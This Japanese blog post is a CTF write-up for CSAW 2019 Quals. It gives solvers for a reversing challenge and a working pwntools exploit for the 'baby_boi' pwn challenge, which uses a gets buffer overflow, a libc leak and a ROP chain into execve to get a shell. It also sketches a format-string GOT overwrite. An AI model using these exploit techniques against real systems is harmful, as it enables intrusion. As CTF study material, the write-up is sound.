CSAW CTF'19 Quals write-up
2019/09/14 05:00-2019/09/16 05:00 (48H) に開催されたCSAW CTFのWrite-upです。チーム名: whitecatsで出場して、101pt. 388位でした。
Misc
MCGRIDDLEV2 (1pt)
flag{W3lcome_7o_CSAW_QUALS_2019!}
ウェルカムフラグ
Flag: flag{W3lcome_7o_CSAW_QUALS_2019!}
Rev
BELEAF (50pt)
tree sounds are best listened to by https://binary.ninja/demo or ghidra
標準入力にフラグを入力する問題。とりあえずIDAでmainを眺める。
0x912
でフラグの文字列長の検査。0x20より長いらしい。
その後、1文字ずつsub_7FA
の関数に渡して、チェック。戻り値(%rax
)とunk_2014E0+idx
の値が同じなら正解でループ継続。文字数分わかればOK。
sub_7FA
の中では、0x201020
にあるフラグ文字列のパーツっぽいデータ(8byte毎)と引数で渡された1文字を比較し、一致した文字のインデックスを呼び出し元に返却する。
なので、unk_2014E0
のindex値の位置にあるフラグ文字列のパーツを順に取り出して繋げれば、フラグが得られる。
ソルバー
with open('beleaf', 'rb') as f: data = f.read() flag_parts = data[0x1020:0x10e0:4] corr_idx = data[0x14e0:0x15e8:8] flag = '' for i in corr_idx: flag += chr(flag_parts[i]) print(flag) # flag{we_beleaf_in_your_re_future}
Flag: flag{we_beleaf_in_your_re_future}
Pwn
baby_boi (50pt)
Welcome to pwn. nc pwn.chal.csaw.io 1005
FILES
#include <stdio.h> #include <stdlib.h> int main(int argc, char **argv[]) { setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); char buf[32]; printf("Hello!\n"); printf("Here I am: %p\n", printf); gets(buf); }
ソースコードは、gets関数を使ったバッファオーバーフローの脆弱性があるので、Stack BoF で攻撃する。また、printf
関数のアドレスも教えてもらえるので、libcのベースアドレスを計算して、ミニROPでexecve
関数を呼び出して、シェルを取った。execve
のパーツは、与えられたlibcからよさげな↓を探して利用。
e569f: 48 8d 3d f4 e7 0c 00 lea 0xce7f4(%rip),%rdi # 1b3e9a <_libc_intl_domainname@@GLIBC_2.2.5+0x186> e56a6: 4c 89 e2 mov %r12,%rdx e56a9: 4c 89 f6 mov %r14,%rsi e56ac: e8 7f f7 ff ff callq e4e30 <execve@@GLIBC_2.2.5>
飛ばした先のexecve
の引数の準備で、第2引数と第3引数に0を代入しておく必要があった。アセンブリ上は、%r12
、%r14
がそれぞれ引数に代入されるので、ROPする直前で値が0でなかった%r12
にPOP命令でゼロを代入した。
- 第2引数:
%rsi
←%r14
- 第3引数:
%rdx
←%r12
ソルバーはこんな感じに。
from pwn import * srv = 'pwn.chal.csaw.io' #srv = 'localhost' port = 1005 bin = ELF('./baby_boi') libc = ELF('./libc-2.27.so') conn = remote(srv, port) t = conn.recvline_contains((b'Here I am:')) print(t) ''' $ readelf -s ./libc-2.27.so |grep printf : 627: 0000000000064e80 195 FUNC GLOBAL DEFAULT 13 printf@@GLIBC_2.2.5 : ''' printf_addr = int(t[t.index(b'0x'):], 16) libc_base = printf_addr - libc.symbols[b'printf'] print(hex(printf_addr)) ''' 0x00023992: pop r12 ; ret ; (203 found) ''' pop_r12 = 0x23992 ''' e569f: 48 8d 3d f4 e7 0c 00 lea 0xce7f4(%rip),%rdi # 1b3e9a <_libc_intl_domainname@@GLIBC_2.2.5+0x186> e56a6: 4c 89 e2 mov %r12,%rdx e56a9: 4c 89 f6 mov %r14,%rsi e56ac: e8 7f f7 ff ff callq e4e30 <execve@@GLIBC_2.2.5> ''' buf = b'A' * 32 buf += b'b' * 8 buf += p64(libc_base + pop_r12, endianness='little') buf += p64(0, endianness='little') # for pop r12 buf += p64(libc_base + 0xe569f, endianness='little') conn.sendline(buf) conn.interactive() conn.close()
実行結果
$ python3 solve.py [*] '/media/sf_onedrive_ctf/CSAW_2019/pwn/baby_boi_50/baby_boi' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE [*] '/media/sf_onedrive_ctf/CSAW_2019/pwn/baby_boi_50/libc-2.27.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to pwn.chal.csaw.io on port 1005: Done b'Here I am: 0x7f7e9378ae80' 0x7f7e9378ae80 0x7f7e93775440 0x7f7e938d9e9a b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbbbbbbbb\x92\x99t\x93~\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x9f\xb6\x80\x93~\x7f\x00\x00ffffffff\x9a\x9e\x8d\x93~\x7f\x00\x00' [*] Switching to interactive mode $ ls baby_boi flag.txt $ cat flag.txt flag{baby_boi_dodooo_doo_doo_dooo}
Flag: flag{baby_boi_dodooo_doo_doo_dooo}
おまけ (解けなかった問題
Pwn gotmilk (50pt)
GlobalOffsetTable milk? nc pwn.chal.csaw.io 1004
format string攻撃ができる脆弱性があり、脆弱性のあるprintf
呼び出しの後に呼び出されているlibmylib.so
のlose
関数に関するGOT(Global Offset Table)のアドレスを上書きできればOK。
shortサイズの値を指定のアドレスに書き込める%hn
を使って手元環境ではうまくいっていたが、本番サーバーでは攻撃を送り込んだ直後にサーバー側からFINを投げられて通信が終わってしまいダメだった。。。当日は、ここで断念。。。
解けたチームのWrite-upを見ていたら%hhn
(!?)で1byte書き込んで成功していた。。。%hhn
とかあったのね~。勉強が足りぬ~~。%hn
は書き込みサイズが大きすぎとかで弾かれていたのかな。。。
以上でっす!